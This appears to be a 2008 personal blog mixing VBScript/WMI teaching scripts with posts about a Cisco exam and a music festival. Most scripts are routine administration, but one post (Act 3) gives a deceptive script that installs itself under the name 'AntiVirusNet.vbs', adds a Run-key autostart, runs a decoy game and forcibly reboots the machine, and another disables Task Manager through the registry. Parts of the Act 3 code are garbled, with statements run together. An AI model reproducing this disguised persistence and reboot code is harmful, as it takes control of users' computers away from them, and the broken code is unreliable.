Windows Scripting BLOG

Due to limited time working on this project this place is not intended to people who are new to scripting but much more for people who are already familiar with the VBS/WMI syntax.

Samstag, 19. Juli 2008

Learn Windows Scripting Act 5 - Class material

Class material for ACT 5

References

WMI Registry
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx


Complete Script

strcomputer = "."
HKEY_CURRENT_USER = &H80000001
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
comppath = "Software\Microsoft\Windows\CurrentVersion\Policies\System"
strEntryName = "DisableTaskMgr"
dwValue = "00000001"
retval = objReg.SetDWordValue(HKEY_CURRENT_USER, comppath, strEntryName, dwValue)
Wscript.echo retval

Freitag, 11. Juli 2008

First CCNP exam passed!

yes! I got it...yesterday I passed my first CCNP track exam with an almost perfect score (955/1000). So 3 more exams to go and I can call myself a CCNP (Cisco Certified Network Professional) - which will give me the opportunity to earn even more money than I do right now ;)

So that's cool...I'm going to chill for the rest of the month and start learning for exam number 2 in August, which should be much easier to pass than the one that I've passed yesterday.

Other than that there's gonna be 3 concerts I'm definitely gonna check out in October: Jason Mraz, 3 Doors Down & James Blunt (no, I'm not gay...).

That's it for now! Tonight and tomorrow is gonna be time for party!!! All you IT professional:

Get out and have some fun :D

Jay

Dienstag, 10. Juni 2008

Rock am Ring 08 Festival

I'm currently completely flashed by the last weekend - Rock am Ring 08 has been phenomenal...it's one big party with too many great bands performing to even count.
My favorite performances were definitely those of the Stereophonics, Manic Street Preachers, Babyshambles and Jimmy Eat World. Being in the front rows of the crowd rocking out to the J.E.W. performance has been just freakin awesome...I'll definitely keep a lot of good moments and memories from this fantastic event.
Also, I've got the chance to meet my very personal guitar player Idol Mark Tremonti of Alter Bridge. It's just one of those moments that will take you a while to realize that it really happened. Anyways, I'm taking it, Alter Bridge signed my Iphone and all of them are really nice guys, they rock!


Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

Mittwoch, 2. April 2008

Learn Windows Scripting Act 4 - Class material

Class material for ACT 4

References

Split Method
http://msdn2.microsoft.com/en-us/library/0764e5w5(VS.85).aspx

Open Text File
http://support.microsoft.com/kb/300982

Complete Script

On Error Resume Next

IN_FILE = "test.txt"
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.Close
arrComputers = Split(strComputers, vbCrLf)

For Each strComputer In arrComputers



Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Service where DisplayName = ""MSSQLSERVER""")


For Each objItem in colItems



ret = objitem.StopService() & " on Computer " &
strComputer


Wscript.Echo ret


next



Next

* Loop routine wrapped around the core script
* Core script wrapped into the Loop routine

Mittwoch, 26. März 2008

Learn Windows Scripting Act 3 - Class material

Class material for ACT 3

References
StdRegProv Class
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Win32_OperatingSystem (reboot method)
http://msdn2.microsoft.com/en-us/library/aa393009(VS.85).aspx

Win32_LocalTime Class
http://msdn2.microsoft.com/en-us/library/aa394171(VS.85).aspx

Win32_ScheduledJob Class
http://msdn2.microsoft.com/en-us/library/aa394399(VS.85).aspx


Tools
Zip2Secure by Chilkat Software (free of charge)
http://www.chilkatsoft.com/ChilkatSfx.asp

Complete Script
!Attention! Do not use this script unless you know exactly what you are doing. Also, this is provided for educational purposes ONLY. do not use the presented in malicious fashion!


'File 1 Romcs.vbs
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile "AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs")
If Return <> 0 Then
msgbox("Keine Admin Rights!")
Else
Set objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery("Select * from Win32_LocalTime")
For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hourend if
next
if Min < 10 thenMin = 0 & objComputer2.Minute
end if
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000"
'+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")End IF



' File 2 AntiVirusNet.vbs
On error resume nextstrComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set colComputers2 = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()next

Sonntag, 23. März 2008

Learn Windows Scripting Act 2 - Class material

Class material used in 'Learn Windows Scripting Act 2'

References:
Win32_Service Class
http://msdn2.microsoft.com/en-us/library/aa394418(VS.85).aspx

Microsoft Scriptomatic Tool
http://www.microsoft.com/technet/scriptcenter/tools/scripto2.mspx



Complete Script

On Error Resume Next

strComputer = Wscript.Arguments(0)

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Service where DisplayName = ""MSSQLSERVER""")
For Each objItem in colItems

Wscript.Echo "DisplayName: " & objItem.DisplayName
Wscript.Echo "StartMode: " & objItem.StartMode
Wscript.Echo "State: " & objItem.State
star = Wscript.Arguments(1)
ret2 = objitem.ChangeStartMode(star)
ret = objitem.StopService()


Wscript.Echo ret
Wscript.Echo ret2



Next

Samstag, 22. März 2008

Learn Windows Scripting Act 1 - Class material

Class material used in 'Learn Windows Scripting Act 1'

References:
http://msdn2.microsoft.com/en-us/library/aa394572(VS.85).aspx

http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Code Snippets used:

Connect to WMI

strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)For Each objItem in colItems

next


Connect to Windows Registry

HKEY_USERS = &H80000003

Set objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")

comppath = "" & sidentry & "" & strKeyPath & ""
retVal = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)

Complete Script

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserName
next
Result = InStrRev(nm, "\")
tre = len(nm)
tre1 = tre - Result
Res = right(nm,tre1)

Set colOS = objWMIService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")

for each obj in colOS
X1 = obj.SID
Next

strKeyPath ="\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

HKEY_USERS = &H80000003

Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
comppath = "" & X1 & "" & strKeyPath & ""
strEntryName = "AutoConfigURL"
dwValue = "http://proxy/pac/proxy.pac"

retval = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)

Wscript.echo retval


Donnerstag, 20. März 2008

$Scripting Video Tutorials become reality!$

Hi,
yeah...finally I'm almost ready to put out the first video of my "How to script" series.
We've found an appropriate screen capturing software, created a Youtube Channel and will start recording the first video tomorrow. This is going to discuss a script which I've written during my tenure at the ECB, changing proxy settings in InternetExplorer for the currently logged on user only.

This will touch some nice techniques which you definitely want to know about when dealing with windows scripting. Also I'm going to give you some ideas on how to strategically approach a scripting task, dividing the workload into logical segments and working with the WMI Namespace reference Microsoft is providing to us.

So, maybe this will be available sometime next week (I hope so), most likely it will :P

Cheers

Jay